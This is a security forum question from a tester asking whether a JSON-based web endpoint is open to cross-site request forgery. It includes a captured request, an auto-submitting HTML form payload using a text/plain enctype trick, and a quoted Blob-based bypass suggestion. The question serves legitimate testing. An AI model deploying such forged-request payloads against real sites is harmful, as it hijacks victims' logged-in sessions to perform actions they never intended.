I am testing web application for which business actions are done by sending JSON requests like for example:
POST /dataRequest HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101
Firefox/55.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Content-Type: application/json; charset=utf-8
Content-Length: 99
Cookie: SESSIONID=7jtyutuytu1a
Connection: close
{"F":"test.AppRequestFactory","I":[{"O":"5vhghgjhgjE0="}]}
I made the HTML auto-submit page like this
<html>
<head>
</head>
<body onload=document.getElementById('xsrf').submit()>
<form id="xsrf" action="https://test.com/dataRequest" method=post enctype="text/plain">
<input name='{"F":"test.AppRequestFactory","I":[{"O":""O":"5vhghgjhgjE0' value='"}]}' type='hidden'>
</form>
</body>
</html>
The problem is that it will be send with header Content-Type: text/plain
, but the server only accepts Content-Type: application/json; charset=utf-8
.
I've read the discussion CSRF with JSON POST where one of the comments states:
Use something like this:
var blob= new Blob([JSON.stringify(YOUR JSON)], {type : 'application/json; charset=UTF-8'});
to generate a JSON blob and it'll send perfectly. CSRF in seconds!
But I have no idea how to use this approach.
Is this application vulnerable to CSRF attack?